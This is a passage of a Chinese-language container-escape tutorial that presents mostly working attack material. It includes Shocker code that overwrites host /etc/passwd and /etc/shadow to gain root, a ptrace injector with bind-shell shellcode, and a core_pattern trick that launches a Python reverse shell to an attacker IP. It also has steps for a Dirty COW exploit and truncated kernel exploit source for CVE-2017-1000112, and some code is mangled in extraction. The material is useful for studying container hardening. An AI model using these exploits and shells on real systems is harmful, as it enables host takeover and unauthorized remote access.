(find_handle(fd1, argv[1], & root_h, & h) <= 0)</span></code><code><span class="code-snippet_outer"> die("[-] Cannot find valid handle!");</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[!] Got a final handle!n");</span></code><code><span class="code-snippet_outer"> dump_handle( & h);</span></code><code><span class="code-snippet_outer"> if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)</span></code><code><span class="code-snippet_outer"> die("[-] open_by_handle");</span></code><code><span class="code-snippet_outer"> char * line = NULL;</span></code><code><span class="code-snippet_outer"> size_t len = 0;</span></code><code><span class="code-snippet_outer"> FILE * fptr;</span></code><code><span class="code-snippet_outer"> ssize_t read;</span></code><code><span class="code-snippet_outer"> fptr = fopen(argv[2], "r");</span></code><code><span class="code-snippet_outer"> while ((read = getline( & line, & len, fptr)) != -1) {</span></code><code><span class="code-snippet_outer"> write(fd2, line, read);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> printf("Success!!n");</span></code><code><span class="code-snippet_outer"> close(fd2);</span></code><code><span class="code-snippet_outer"> close(fd1);</span></code><code><span class="code-snippet_outer"> return 0;</span></code><code><span class="code-snippet_outer">}</span></code>
那么漏洞利用如下:
<code><span class="code-snippet_outer"># Copy and paste the shocker.c content</span></code><code><span class="code-snippet_outer">gcc -o read shocker.c</span></code><code><span class="code-snippet_outer"># Copy and paste the shocker_write.c content</span></code><code><span class="code-snippet_outer">gcc -o write shocker_write.c</span></code><code><span class="code-snippet_outer"># Use the ./read to read files from host: ./read /host/path /container/path</span></code><code><span class="code-snippet_outer">./read /etc/shadow shadow</span></code><code><span class="code-snippet_outer">./read /etc/passwd passwd</span></code><code><span class="code-snippet_outer"># Create new user and reset its password</span></code><code><span class="code-snippet_outer">useradd <USER-NAME></span></code><code><span class="code-snippet_outer">echo '<USER-NAME>:<PASSWORD>' | chpasswd </span></code><code><span class="code-snippet_outer"># Update the new user details in the copied files from host</span></code><code><span class="code-snippet_outer">tail -1 /etc/passwd >> passwd</span></code><code><span class="code-snippet_outer">tail -1 /etc/shadow >> shadow</span></code><code><span class="code-snippet_outer"># Copy the new user password hash paste it also for the root user in the shadow file. This will allow us to elevate permissions on the host.</span></code><code><span class="code-snippet_outer">vim shadow</span></code><code><span class="code-snippet_outer"># Use the ./write to write files from host: ./write /host/path /container/path</span></code><code><span class="code-snippet_outer">./write /etc/passwd passwd</span></code><code><span class="code-snippet_outer">./write /etc/shadow shadow</span></code><code><span class="code-snippet_outer"># Connect to host over ssh using the new user (unprivileged)</span></code><code><span class="code-snippet_outer">ssh <USER>@<HOST-IP></span></code><code><span class="code-snippet_outer"># Elevate privileges to root user with the new password</span></code><code><span class="code-snippet_outer">su</span></code>
7. 进程注入
来自https://www.panoptica.app/research/7-ways-to-escape-a-container
进程注入允许一个进程写入另一个进程的内存空间并执行shellcode。
<code><span class="code-snippet_outer">/*From https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c*/</span></code><code><span class="code-snippet_outer">/*</span></code><code><span class="code-snippet_outer"> Mem Inject</span></code><code><span class="code-snippet_outer"> Copyright (c) 2016 picoFlamingo</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">This program is free software: you can redistribute it and/or modify</span></code><code><span class="code-snippet_outer">it under the terms of the GNU General Public License as published by</span></code><code><span class="code-snippet_outer">the Free Software Foundation, either version 3 of the License, or</span></code><code><span class="code-snippet_outer">(at your option) any later version.</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">This program is distributed in the hope that it will be useful,</span></code><code><span class="code-snippet_outer">but WITHOUT ANY WARRANTY; without even the implied warranty of</span></code><code><span class="code-snippet_outer">MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the</span></code><code><span class="code-snippet_outer">GNU General Public License for more details.</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">You should have received a copy of the GNU General Public License</span></code><code><span class="code-snippet_outer">along with this program. If not, see <http://www.gnu.org/licenses/>.</span></code><code><span class="code-snippet_outer">*/</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#include <stdio.h></span></code><code><span class="code-snippet_outer">#include <stdlib.h></span></code><code><span class="code-snippet_outer">#include <string.h></span></code><code><span class="code-snippet_outer">#include <stdint.h></span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#include <sys/ptrace.h></span></code><code><span class="code-snippet_outer">#include <sys/types.h></span></code><code><span class="code-snippet_outer">#include <sys/wait.h></span></code><code><span class="code-snippet_outer">#include <unistd.h></span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#include <sys/user.h></span></code><code><span class="code-snippet_outer">#include <sys/reg.h></span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define SHELLCODE_SIZE 87</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">unsigned char *shellcode = </span></code><code><span class="code-snippet_outer">"x48x31xc0x48x31xd2x48x31xf6xffxc6x6ax29x58x6ax02x5fx0fx05x48x97x6ax02x66xc7x44x24x02x15xe0x54x5ex52x6ax31x58x6ax10x5ax0fx05x5ex6ax32x58x0fx05x6ax2bx58x0fx05x48x97x6ax03x5exffxcexb0x21x0fx05x75xf8xf7xe6x52x48xbbx2fx62x69x6ex2fx2fx73x68x53x48x8dx3cx24xb0x3bx0fx05";</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">int</span></code><code><span class="code-snippet_outer">inject_data (pid_t pid, unsigned char *src, void *dst, int len)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"> int i;</span></code><code><span class="code-snippet_outer"> uint32_t *s = (uint32_t *) src;</span></code><code><span class="code-snippet_outer"> uint32_t *d = (uint32_t *) dst;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> for (i = 0; i < len; i+=4, s++, d++)</span></code><code><span class="code-snippet_outer"> {</span></code><code><span class="code-snippet_outer"> if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)</span></code><code><span class="code-snippet_outer"> {</span></code><code><span class="code-snippet_outer"> perror ("ptrace(POKETEXT):");</span></code><code><span class="code-snippet_outer"> return -1;</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> return 0;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">int</span></code><code><span class="code-snippet_outer">main (int argc, char *argv[])</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"> pid_t target;</span></code><code><span class="code-snippet_outer"> struct user_regs_struct regs;</span></code><code><span class="code-snippet_outer"> int syscall;</span></code><code><span class="code-snippet_outer"> long dst;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> if (argc != 2)</span></code><code><span class="code-snippet_outer"> {</span></code><code><span class="code-snippet_outer"> fprintf (stderr, "Usage:nt%s pidn", argv[0]);</span></code><code><span class="code-snippet_outer"> exit (1);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> target = atoi (argv[1]);</span></code><code><span class="code-snippet_outer"> printf ("+ Tracing process %dn", target);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)</span></code><code><span class="code-snippet_outer"> {</span></code><code><span class="code-snippet_outer"> perror ("ptrace(ATTACH):");</span></code><code><span class="code-snippet_outer"> exit (1);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> printf ("+ Waiting for process...n");</span></code><code><span class="code-snippet_outer"> wait (NULL);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> printf ("+ Getting Registersn");</span></code><code><span class="code-snippet_outer"> if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)</span></code><code><span class="code-snippet_outer"> {</span></code><code><span class="code-snippet_outer"> perror ("ptrace(GETREGS):");</span></code><code><span class="code-snippet_outer"> exit (1);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> /* Inject code into current RPI position */</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> printf ("+ Injecting shell code at %pn", (void*)regs.rip);</span></code><code><span class="code-snippet_outer"> inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> regs.rip += 2;</span></code><code><span class="code-snippet_outer"> printf ("+ Setting instruction pointer to %pn", (void*)regs.rip);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)</span></code><code><span class="code-snippet_outer"> {</span></code><code><span class="code-snippet_outer"> perror ("ptrace(GETREGS):");</span></code><code><span class="code-snippet_outer"> exit (1);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> printf ("+ Run it!n");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)</span></code><code><span class="code-snippet_outer"> {</span></code><code><span class="code-snippet_outer"> perror ("ptrace(DETACH):");</span></code><code><span class="code-snippet_outer"> exit (1);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> return 0;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">}</span></code>
要将 shellcode 注入主机中的进程,容器必须具备两样东西:
- 容器的进程必须具有SYS_PTRACELinux 功能。
- 容器的主机必须与容器共享其进程命名空间。
<code><span class="code-snippet_outer">docker run -it --pid=host --cap -drop =ALL --cap -add =SYS_PTRACE --cap -add =SETGID --cap -add =SETUID --cap -add=CHOWN --cap -add=FOWNER --cap -add = DAC_OVERRIDE --security-opt apparmor=unconfined ubuntu bash</span></code>
-
最低要求的 Linux 功能:SYS_PTRACE。 -
该SYS_PTRACE函数允许执行“ ptrace”系统调用。 -
所需的容器设置:容器的主机应将其进程命名空间映射到容器。您可以通过lsns在主机和容器上运行“ ”命令来验证主机和容器之间共享哪些 Linux 命名空间。
<code><span class="code-snippet_outer"># List process that runs on the host and container.</span></code><code><span class="code-snippet_outer">ps -eaf | grep "/usr/bin/python3 -m http.server 8080" | head -n 1</span></code><code><span class="code-snippet_outer"># Copy and paste the payload from inject.c</span></code><code><span class="code-snippet_outer">gcc -o inject inject.c</span></code><code><span class="code-snippet_outer"># Inject the shellcode payload that will open a listener over port 5600</span></code><code><span class="code-snippet_outer">./inject <PID></span></code><code><span class="code-snippet_outer"># Bind over port 5600</span></code><code><span class="code-snippet_outer">nc <HOST-IP> 5600</span></code>
kubelet 在/var/log主机上的目录中创建一个目录结构,如符号①所示,代表该节点上的 pod。但其实它是指向目录中容器日志文件的符号链接/var/lib/docker/containers 。
当我们使用the kubectl logs <pod-name> command查询指定 pod 的日志时,实际上是在向 kubelet 发出一个 HTTP 请求/logs/pods/<path_to_0.log> interface,这个请求的处理逻辑如下:
<code><span class="code-snippet_outer">// kubernetespkgkubeletkubelet.go:1371</span></code><code><span class="code-snippet_outer">if kl.logServer == nil { </span></code><code><span class="code-snippet_outer"> kl.logServer = http.StripPrefix("/logs/", http.FileServer(http.Dir("/var/log/"))) </span></code><code><span class="code-snippet_outer">}</span></code>
kubelet解析请求地址,进入对应的目录/var/log,读取日志文件,并返回。
当 pod/var/log以可写权限挂载主机上的目录时,就可以在该路径中创建到主机根目录的符号链接,然后构造包含该符号链接的恶意 kubelet 请求,该请求由主机解析并导致能够读取主机上的任意文件和目录。
然后从以下位置安装 metarget:
GitHub – Metarget/metarget:Metarget 是一个提供自动构建易受攻击的框架…… – https://github.com/Metarget/metarget/tree/master
Metarget 是一个提供易受攻击的基础设施自动构建的框架。- Metarget/metarget – https://github.com/Metarget/metarget/tree/master
github.com – https://github.com/Metarget/metarget/tree/master
环境设置(使用 metarget):
<code><span class="code-snippet_outer">. /metarget gadget install docker --version 18.03.1 . /metarget gadget install k8s --version 1.16.5 --domestic</span></code>
<code><span class="code-snippet_outer">. /metarget cnv install mount-var-log</span></code>
漏洞复制:
<code><span class="code-snippet_outer">kubectl exec -it mount-var-log -n metarget bash</span></code>
以下两个命令可以在Pod内执行。
<code><span class="code-snippet_outer">lsh # equals ls on the host </span></code><code><span class="code-snippet_outer">cath # equals cat on the host</span></code>
9. 挂载 procfs
来自:https://github.com/cdk-team/CDK/wiki/Exploit:-mount -procfs
另外:
<code><span class="code-snippet_outer">https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs</span></code>
procfs是一个伪文件系统,它动态反映系统中进程和其他组件的状态,包括许多非常敏感和重要的文件。
因此,将主机挂载procfs到不受控制的容器中也是非常危险的,特别是在默认启用root权限并且未启用用户命名空间的情况下(Docker默认不为容器启用用户命名空间)。
一般来说我们不会把宿主机的挂载procfs到容器中,然而有些业务为了实现一些特殊需求,还是会挂载到文件系统中,procfs/proc/sys/kernel/core_pattern负责配置进程崩溃时的内存转储
in负责配置在进程崩溃时如何导出数据。从 2.6.19 内核版本开始,Linux 支持 的新语法,即如果行的第一个字符是管道字符/proc/sys/kernel/core_pattern,则该行的其余部分将被解释为用户空间程序或脚本并执行。procfs/proc/sys/kernel/core_pattern|
使用 metatarget 构建环境:
<code><span class="code-snippet_outer">. /metarget gadget install docker --version 18.03.1 . /metarget gadget install k8s --version 1.16.5 --domestic . /metarget cnv install mount-host-procfs</span></code>
利用:
<code><span class="code-snippet_outer">kubectl exec -it -n metarget mount-host-procfs /bin/bash</span></code>
在容器中,首先获取宿主机上当前容器的绝对路径:
<code><span class="code-snippet_outer">$ root@mount-host-procfs:/# cat /proc/mounts | grep docker </span></code><code><span class="code-snippet_outer">overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/ SDXPXVSYNB3RPWJYHAD5RIIIMO:/var/lib/docker/overlay2/l/QJFV62VKQFBRS5T5ZW4SEMZQC6:/var/lib/docker/overlay2/l/ SSCMLZUT23WUSPXAOVLGLRRP7W:/var/lib/docker/overlay2/l/IBTHKEVQBPDIYMRIVBSVOE2A6Y:/var/lib/docker/overlay2/l/ YYE5TPGYGPOWDNU7KP3JEWWSQM,upperdir=/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/diff ,workdir=/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/work 0 0</span></code>
从workdir中我们可以获取到base path,结合背景知识我们可以看出当前容器在宿主机上合并后的目录的绝对路径如下:/var/lib/docker/overlay2/ 4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged
将以下内容写入/host-proc/sys/kernel/core_pattern容器内部:
<code><span class="code-snippet_outer">echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py rcore " > /host- proc/sys/kernel/core_pattern</span></code>
/tmp/.x.py然后在容器内部创建一个反弹shell ,注意需要写上攻击者的IP:
<code><span class="code-snippet_outer">chmod +x /tmp/.x.py</span></code>
和
<code><span class="code-snippet_outer">import os</span></code><code><span class="code-snippet_outer">import pty</span></code><code><span class="code-snippet_outer">import socket</span></code><code><span class="code-snippet_outer">lhost = "attacker-ip"# Write to IP of listening machine</span></code><code><span class="code-snippet_outer">lport = 10000</span></code><code><span class="code-snippet_outer">def main():</span></code><code><span class="code-snippet_outer"> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span></code><code><span class="code-snippet_outer"> s.connect((lhost, lport))</span></code><code><span class="code-snippet_outer"> os.dup2(s.fileno(), 0)</span></code><code><span class="code-snippet_outer"> os.dup2(s.fileno(), 1)</span></code><code><span class="code-snippet_outer"> os.dup2(s.fileno(), 2)</span></code><code><span class="code-snippet_outer"> os.putenv("HISTFILE", '/dev/null')</span></code><code><span class="code-snippet_outer"> pty.spawn("/bin/bash")</span></code><code><span class="code-snippet_outer"> os.remove('/tmp/.x.py')</span></code><code><span class="code-snippet_outer"> s.close()</span></code><code><span class="code-snippet_outer">if __name__ == "__main__":</span></code><code><span class="code-snippet_outer"> main()</span></code>
最后,只需在容器内运行一个可能崩溃的程序,例如:
<code><span class="code-snippet_outer">#include <stdio.h> </span></code><code><span class="code-snippet_outer">int main(void) { </span></code><code><span class="code-snippet_outer"> int *a = NULL; </span></code><code><span class="code-snippet_outer"> *a = 1; </span></code><code><span class="code-snippet_outer"> return 0; </span></code><code><span class="code-snippet_outer">}</span></code>
如果容器内没有编译器,可以先在另一台机器上编译,然后再放入容器内。
完成后,打开另一台机器上的 shell 监听:
<code><span class="code-snippet_outer">ncat -lvnp 10000</span></code>
然后在容器内部执行上面编译好的崩溃程序,即可获得反弹shell。
B. CVE
1. CVE-2016-5195 “脏牛”
看:
- https://github.com/duowen1/Container-escape-exps/tree/main/CVE-2016-5195
- https://brucetg.github.io/2018/05/27/DirtyCoW
- https://xz.aliyun.com/t/7561
- https://www.cnblogs.com/xiaozi/p/13370721.html
- https://thinkycx.me/2019-05-20-CVE-2016-5195-dirtycow-recurrence.html
- https://github.com/gbonacini/CVE-2016-5195
Linux 内核 2.x 到 4.x 4.8.3 之前的版本中,mm/gup.c 中的竞争条件允许本地用户通过对写时复制 (COW) 功能的错误处理来写入只读内存映射,从而获得特权,就像 2016 年 10 月在野外利用的漏洞一样,又称“Dirty COW”。
<code><span class="code-snippet_outer">git clone https://github.com/scumjr/dirtycow-vdso.git</span></code><code><span class="code-snippet_outer"> cd dirtycow-vdso && make </span></code><code><span class="code-snippet_outer">./0xdeadbeaf VPS-IP:PORT</span></code>
2.CVE-2016-9962
CVE-2016-9962 是涉及 RunC 的安全漏洞。runC允许通过将其他容器进程跟踪到容器的 pid 1 runc exec。
这允许容器的主进程(如果以 root 身份运行)在进程完全放入容器内之前在初始化期间访问这些新进程的文件描述符。
这可能会导致容器逃离或者修改runC状态。
- 容器初始化,init进程执行
- 恶意容器在容器初始化期间对 init 进程执行 ptrace
- ptrace 支持主机 fd 的副本
- 使用打开文件描述符读取/写入主机上的文件
<code><span class="code-snippet_outer"># https://bugzilla.suse.com/show_bug.cgi?id=1012568#c2</span></code><code><span class="code-snippet_outer">% docker pull alpine</span></code><code><span class="code-snippet_outer">% docker create --name alpine alpine</span></code><code><span class="code-snippet_outer">% mkdir rootfs</span></code><code><span class="code-snippet_outer">% docker export alpine | tar xvfC - rootfs/</span></code><code><span class="code-snippet_outer">% runc spec</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"># Now you have a config.json and rootfs that you can use with runC. </span></code><code><span class="code-snippet_outer"># Here's what an unpached runC looks like </span></code><code><span class="code-snippet_outer"># (shell1 and shell2 are two different shell sessions in the same directory):</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">shell1% runc run ctr</span></code><code><span class="code-snippet_outer">shell2% runc exec ctr sh</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"># [ this will block for 500 seconds ]</span></code><code><span class="code-snippet_outer">shell1[ctr]$ ps aux</span></code><code><span class="code-snippet_outer">PID USER TIME COMMAND</span></code><code><span class="code-snippet_outer"> 1 root 0:00 sh</span></code><code><span class="code-snippet_outer"> 18 root 0:00 {runc:[2:INIT]} /proc/self/exe init</span></code><code><span class="code-snippet_outer"> 24 root 0:00 ps aux</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">shell1[ctr]$ ls /proc/18/fd -la</span></code><code><span class="code-snippet_outer">total 0</span></code><code><span class="code-snippet_outer">dr-x------ 2 root root 0 Nov 28 14:29 .</span></code><code><span class="code-snippet_outer">dr-xr-xr-x 9 root root 0 Nov 28 14:29 ..</span></code><code><span class="code-snippet_outer">lrwx------ 1 root root 64 Nov 28 14:29 0 -> /dev/pts/8</span></code><code><span class="code-snippet_outer">lrwx------ 1 root root 64 Nov 28 14:29 1 -> /dev/pts/8</span></code><code><span class="code-snippet_outer">lrwx------ 1 root root 64 Nov 28 14:29 2 -> /dev/pts/8</span></code><code><span class="code-snippet_outer">lrwx------ 1 root root 64 Nov 28 14:29 3 -></span></code><code><span class="code-snippet_outer">socket:[2113990]</span></code><code><span class="code-snippet_outer">lr-x------ 1 root root 64 Nov 28 14:29 4 -> /run/runc/test</span></code><code><span class="code-snippet_outer">lrwx------ 1 root root 64 Nov 28 14:29 5 -> /dev/pts/8</span></code><code><span class="code-snippet_outer">l-wx------ 1 root root 64 Nov 28 14:29 6 -> /dev/null</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">shell1[ctr]$ ls -la /proc/18/fd/4/../../..</span></code><code><span class="code-snippet_outer">total 0</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 166 Oct 16 14:59 .</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 166 Oct 16 14:59 ..</span></code><code><span class="code-snippet_outer">drwxr-x--- 1 root root 46 Nov 27 10:37 .snapshots</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 1872 Nov 25 09:22 bin</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 552 Nov 25 09:46 boot</span></code><code><span class="code-snippet_outer">drwxr-xr-x 21 root root 4240 Nov 27 22:09 dev</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 4958 Nov 28 14:28 etc</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 12 Jun 15 12:20 home</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 1572 Oct 30 12:00 lib</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 4160 Nov 25 09:21 lib64</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 60 Aug 7 04:00 media</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 0 Jun 15 12:20 mnt</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 8 Oct 9 06:31 opt</span></code><code><span class="code-snippet_outer">dr-xr-xr-x 327 root root 0 Nov 26 00:25 proc</span></code><code><span class="code-snippet_outer">drwx------ 1 root root 324 Nov 26 09:52 root</span></code><code><span class="code-snippet_outer">drwxr-xr-x 34 root root 900 Nov 28 14:28 run</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 4082 Nov 25 09:24 sbin</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 0 Jun 15 12:20 selinux</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 50 Jul 17 00:57 srv</span></code><code><span class="code-snippet_outer">dr-xr-xr-x 13 root root 0 Nov 26 00:25 sys</span></code><code><span class="code-snippet_outer">drwxrwxrwt 1 root root 42606 Nov 28 14:29 tmp</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 144 Jun 27 18:18 usr</span></code><code><span class="code-snippet_outer">drwxr-xr-x 1 root root 116 Jun 26 07:39 var</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"># Where the final output is my *host's* root filesystem. </span></code><code><span class="code-snippet_outer"># With a patched runC, that file descriptor isn't open in the "runc exec" process:</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">shell1% runc run ctr</span></code><code><span class="code-snippet_outer">shell2% runc exec ctr ls</span></code><code><span class="code-snippet_outer"># [ this will block for 500 seconds ]</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">shell1[ctr]$ ps aux</span></code><code><span class="code-snippet_outer">PID USER TIME COMMAND</span></code><code><span class="code-snippet_outer"> 1 root 0:00 sh</span></code><code><span class="code-snippet_outer"> 7 root 0:00 {runc:[2:INIT]} /proc/self/exe init</span></code><code><span class="code-snippet_outer"> 13 root 0:00 ps aux</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">shell1[ctr]$ ls -la /proc/7/fd</span></code><code><span class="code-snippet_outer">total 0</span></code><code><span class="code-snippet_outer">dr-x------ 2 root root 0 Nov 28 14:29 .</span></code><code><span class="code-snippet_outer">dr-xr-xr-x 9 root root 0 Nov 28 14:29 ..</span></code><code><span class="code-snippet_outer">lrwx------ 1 root root 64 Nov 28 14:29 0 -> /dev/pts/8</span></code><code><span class="code-snippet_outer">lrwx------ 1 root root 64 Nov 28 14:29 1 -> /dev/pts/8</span></code><code><span class="code-snippet_outer">lrwx------ 1 root root 64 Nov 28 14:29 2 -> /dev/pts/8</span></code><code><span class="code-snippet_outer">lrwx------ 1 root root 64 Nov 28 14:29 3 -></span></code><code><span class="code-snippet_outer">socket:[2114856]</span></code><code><span class="code-snippet_outer">lrwx------ 1 root root 64 Nov 28 14:29 4 -> /dev/pts/8</span></code><code><span class="code-snippet_outer">l-wx------ 1 root root 64 Nov 28 14:29 5 -> /dev/null</span></code>
3.CVE-2017-1000112
请参阅:https://github.com/Metarget/metarget/tree/master/writeups_cnv/kernel-cve-2017-1000112(docker – 版本 18.03.1)
Linux 内核:由于 UFO 到非 UFO 路径切换而导致的可利用内存损坏。当使用附加调用构建 UFO 数据包时MSG_MORE __ip_append_data()。ip_ufo_append_data() 然而,在两次 send() 调用之间,附加路径可以从 UFO 切换到非 UFO,从而导致内存损坏。
如果 UFO 数据包长度超过 MTU,则copy = maxfraglen — skb->len在非 UFO 路径上变为负数,并采用分配新 skb 的分支。
这会触发 的碎片化和计算fraggap = skb_prev->len — maxfraglen。Fraggap 可能会超过 MTU,导致copy = datalen — transhdrlen — fraggap变为负值。随后skb_copy_and_csum_bits() 写入越界。IPv6 代码中也存在类似问题。该错误于 2005 年 10 月 18 日在 e89e9cf539a2(“[IPv4/IPv6]:UFO 分散-聚集方法”)中引入。
概念验证:
<code><span class="code-snippet_outer">// Capsule8 2019</span></code><code><span class="code-snippet_outer">// This exploit combines exploitation of two vulnerabilities:</span></code><code><span class="code-snippet_outer">// - CVE-2017-18344 (OOB read in proc timers)</span></code><code><span class="code-snippet_outer">// - CVE-2017-1000112 (OOB write due to UFO packet fragmentation management)</span></code><code><span class="code-snippet_outer">// Both original exploits were written by Andrey Konovalov.</span></code><code><span class="code-snippet_outer">//</span></code><code><span class="code-snippet_outer">// Tested to work on Ubuntu 4.8.0-34.</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define _GNU_SOURCE</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#include <assert.h></span></code><code><span class="code-snippet_outer">#include <errno.h></span></code><code><span class="code-snippet_outer">#include <fcntl.h></span></code><code><span class="code-snippet_outer">#include <sched.h></span></code><code><span class="code-snippet_outer">#include <signal.h></span></code><code><span class="code-snippet_outer">#include <stdarg.h></span></code><code><span class="code-snippet_outer">#include <stdbool.h></span></code><code><span class="code-snippet_outer">#include <stdint.h></span></code><code><span class="code-snippet_outer">#include <stdio.h></span></code><code><span class="code-snippet_outer">#include <stdlib.h></span></code><code><span class="code-snippet_outer">#include <string.h></span></code><code><span class="code-snippet_outer">#include <syscall.h></span></code><code><span class="code-snippet_outer">#include <time.h></span></code><code><span class="code-snippet_outer">#include <unistd.h></span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#include <linux/socket.h></span></code><code><span class="code-snippet_outer">#include <netinet/ip.h></span></code><code><span class="code-snippet_outer">#include <sys/klog.h></span></code><code><span class="code-snippet_outer">#include <sys/mman.h></span></code><code><span class="code-snippet_outer">#include <sys/utsname.h></span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define ENABLE_SMEP_BYPASS 1</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define DEBUG 0</span></code><code><span class="code-snippet_outer">#define LOG_INFO 1</span></code><code><span class="code-snippet_outer">#define LOG_DEBUG 2</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define log(level, format, args...) </span></code><code><span class="code-snippet_outer"> do { </span></code><code><span class="code-snippet_outer"> if (level == LOG_INFO) </span></code><code><span class="code-snippet_outer"> printf(format, ## args); </span></code><code><span class="code-snippet_outer"> else </span></code><code><span class="code-snippet_outer"> fprintf(stderr, format, ## args); </span></code><code><span class="code-snippet_outer"> } while(0)</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define info(format, args...) log(LOG_INFO, format, ## args)</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#if (DEBUG >= 1)</span></code><code><span class="code-snippet_outer">#define debug1(format, args...) log(LOG_DEBUG, format, ## args)</span></code><code><span class="code-snippet_outer">#else</span></code><code><span class="code-snippet_outer">#define debug1(format, args...)</span></code><code><span class="code-snippet_outer">#endif</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#if (DEBUG >= 2)</span></code><code><span class="code-snippet_outer">#define debug2(format, args...) log(LOG_DEBUG, format, ## args)</span></code><code><span class="code-snippet_outer">#else</span></code><code><span class="code-snippet_outer">#define debug2(format, args...)</span></code><code><span class="code-snippet_outer">#endif</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define min(x, y) ((x) < (y) ? (x) : (y))</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define PAGE_SHIFT 12</span></code><code><span class="code-snippet_outer">#define PAGE_SIZE (1ul << PAGE_SHIFT)</span></code><code><span 